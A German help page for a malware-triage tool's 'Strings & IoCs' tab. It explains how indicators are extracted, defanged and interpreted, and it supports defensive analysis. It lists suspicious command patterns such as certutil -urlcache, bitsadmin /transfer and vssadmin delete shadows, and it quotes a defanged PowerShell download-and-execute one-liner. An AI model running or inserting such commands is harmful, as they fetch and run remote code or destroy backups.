Strings und IoCs: Indikatoren aus Dateien auslesen
Lesezeit: 6 Min.
Selbst ein kompiliertes Programm enthält oft lesbaren Text: Adressen, Dateipfade, Befehle, Fehlermeldungen. Diese Zeichenketten heißen Strings. Sie sind einer der schnellsten Wege, etwas über eine unbekannte Datei zu erfahren. Die darin gefundenen Adressen, Domains und Befehle sind mögliche Indicators of Compromise, kurz IoCs: Spuren, nach denen du in deinem Netz suchen kannst.
Was sind Strings?
Ein String ist eine Folge druckbarer Zeichen in einer Datei. Das Werkzeug sucht zwei Arten:
- ASCII: ein Byte pro Zeichen. So stehen Texte in vielen Programmen und fast allen Skripten.
- UTF-16LE: zwei Byte pro Zeichen, das zweite meist 0. Windows speichert viele Texte so, etwa Pfade und Registry-Schlüssel. Ein einfaches Suchprogramm übersieht diese Strings leicht.
Die Mindestlänge ist standardmäßig 5 Zeichen. Kürzere Folgen entstehen in Binärdaten zufällig und sind meist Rauschen. Du kannst die Mindestlänge zwischen 4 und 10 einstellen.
Was zeigt das Werkzeug?
Der Reiter Strings & IoCs hat zwei Teile. Oben stehen die erkannten Indikatoren, nach Typ gruppiert, darunter die vollständige String-Liste mit Suche und Filtern.
Diese Typen erkennt das Werkzeug:
- Adressen (URLs): http, https und ftp. Interne Adressen erhalten die Kennzeichnung „intern“.
- IP-Adressen: nur gültige IPv4-Adressen. Private Bereiche wie 192.168.x.x und 10.x.x.x werden als „intern“ markiert. Versionsnummern wie 10.0.19041.1 filtert das Werkzeug heraus.
- Domains: nur mit einer echten Top-Level-Domain. Dateinamen wie
kernel32.dll, Skriptdateien wiesetup.pyund .NET-Namen wieSystem.Netwerden nicht als Domain gewertet, auch wenn .net, .py oder .md technisch gültige Endungen sind. - E-Mail-Adressen.
- Registry-Schlüssel: mit der Kennzeichnung „Autostart“, wenn es sich um bekannte Autostart-Orte wie
Run,RunOnce,WinlogonoderServiceshandelt. - Dateipfade: mit Kennzeichnungen für typische Ablageorte von Schadsoftware wie Temp, AppData, ProgramData und den Autostart-Ordner.
- Auffällige Befehle: zum Beispiel PowerShell mit
-encoder-w hidden,mshta,rundll32,regsvr32,certutil -urlcache,bitsadmin /transfer,schtasks /createodervssadmin delete shadows. - Base64-Kandidaten: längere Base64-Blöcke, die sich zu lesbarem Text dekodieren lassen. Das Werkzeug zeigt eine Vorschau. Beginnt der dekodierte Inhalt mit
MZ, steckt vermutlich ein ganzes Windows-Programm darin.
Gleiche Indikatoren werden zusammengefasst, mit Anzahl und der Position des ersten Vorkommens.
Warum alles entschärft angezeigt wird
Adressen und Domains erscheinen im Werkzeug in einer veränderten Schreibweise: hxxps[://]boese-domain[.]com statt der echten Adresse. Das nennt man Entschärfen, englisch „defanging“, und es ist in der IT-Sicherheit üblich. So kann niemand versehentlich auf eine Adresse eines Angreifers klicken, Mailprogramme und Chats machen daraus keine Links, und automatische Vorschauen rufen die Seite nicht auf.
Auch die Kopier-Knöpfe und der Bericht liefern die entschärfte Form. Für die Suche in deinen Logs musst du die Klammern und das hxxp wieder entfernen. Das ist bewusst ein bisschen umständlich, damit es niemand aus Versehen tut.
Wie interpretierst du die Funde?
Nicht jede Adresse in einer Datei ist ein Angreifer. Programme enthalten viele harmlose Adressen. Diese Fragen helfen beim Sortieren:
- Gehört die Adresse zum Hersteller? Ein Programm von Firma X, das auf firma-x.de verweist, ist unauffällig.
- Ist es Infrastruktur für Zertifikate? Adressen mit
crl,ocspoderpkiim Namen, etwa von DigiCert, Sectigo oder Microsoft, dienen der Prüfung von Signaturen. Sie tauchen in jeder signierten Datei auf. - Ist es ein Standard-Namensraum? Adressen wie
schemas.microsoft.comoderwww.w3.orgsind Bezeichner in XML, keine Verbindungen. Das Werkzeug blendet die häufigsten davon als Domains aus. - Passt die Adresse nicht zum Programm? Eine angebliche PDF-Rechnung mit einer Adresse auf einem kostenlosen Hosting-Dienst, einem Paste-Dienst oder einer nackten IP-Adresse ist verdächtig.
- Kommt sie zusammen mit einem Download-Befehl vor? PowerShell mit
DownloadString,certutil -urlcacheoderbitsadminneben einer externen Adresse ist ein klassisches Nachlade-Muster.
Bei Registry-Schlüsseln mit Autostart-Kennzeichnung gilt: Programme, die sich selbst in den Autostart eintragen, sind nicht automatisch böse, Schadsoftware tut es aber fast immer. Zusammen mit einem Pfad in Temp oder AppData wird das Bild deutlicher.
Sonderfall: kodierte PowerShell
PowerShell kann Befehle mit -EncodedCommand (kurz -enc) als Base64 entgegennehmen. Angreifer nutzen das, um Befehle zu verschleiern. Der Base64-Text enthält den Befehl in UTF-16LE. Das Werkzeug erkennt das und zeigt die dekodierte Vorschau, zum Beispiel:
IEX (New-Object Net.WebClient).DownloadString('hxxp[://]...')IEX führt aus, was DownloadString aus dem Netz holt. Das ist einer der häufigsten Einzeiler in Angriffen überhaupt.
Was du mit den IoCs anfängst
- Suchen: Gib Domains und IPs in deine Proxy-, DNS- und Firewall-Protokolle ein. Hat ein Rechner diese Adresse schon kontaktiert, ist das der wichtigste Befund des Tages.
- Blockieren: Sperre eindeutig bösartige Domains und IPs an Proxy, DNS-Filter oder Firewall. Sperre keine großen Dienste wie Cloud-Speicher oder Paste-Seiten pauschal, ohne die Folgen zu bedenken.
- Weitergeben: Teile die Indikatoren mit deinem Dienstleister oder in deiner Community, entschärft und mit Kontext: woher, wann, welche Datei.
- Dokumentieren: Der Bericht als Markdown oder JSON aus dem Werkzeug enthält alle Indikatoren, Hashes und Befunde in einem Format, das in ein Ticket passt.
Grenzen der String-Analyse
Viele Schadprogramme verstecken ihre wichtigsten Strings. Typische Techniken sind Verschlüsselung mit XOR, Zeichenketten, die erst zur Laufzeit Zeichen für Zeichen zusammengesetzt werden (Stack Strings), oder Kompression durch einen Packer. Dann findet die String-Analyse wenig, und genau das ist selbst ein Hinweis: Ein Programm mit hoher Entropie und fast keinen lesbaren Strings ist wahrscheinlich gepackt.
Für versteckte Strings gibt es spezialisierte Werkzeuge wie FLOSS von Mandiant, das einfache Verschleierungen automatisch auflöst. Ganz sicher kommst du nur mit einer dynamischen Analyse an die Adressen, die ein Programm tatsächlich aufruft.
Typische Fehlinterpretationen
- „Keine Indikatoren, also harmlos.“ Gepackte und verschlüsselte Programme zeigen oft keine. Auch Skripte können ihre Adressen verschleiern.
- „Jede gefundene Adresse ist ein Angreifer.“ Programme enthalten viele harmlose Adressen, etwa für Updates, Zertifikate oder Dokumentation.
- „Eine interne IP ist unwichtig.“ Nicht unbedingt. Schadsoftware, die gezielt für ein Netz gebaut wurde, kann interne Adressen fest eingetragen haben, etwa den Dateiserver.
- „PowerShell im String heißt Angriff.“ Viele Verwaltungsprogramme rufen PowerShell auf. Verdächtig wird es mit versteckten Fenstern, kodierten Befehlen und Downloads.
- „Der Offset zeigt genau auf die Adresse.“ Der Offset bezeichnet den Anfang des Strings, in dem der Indikator steht, nicht das exakte Byte.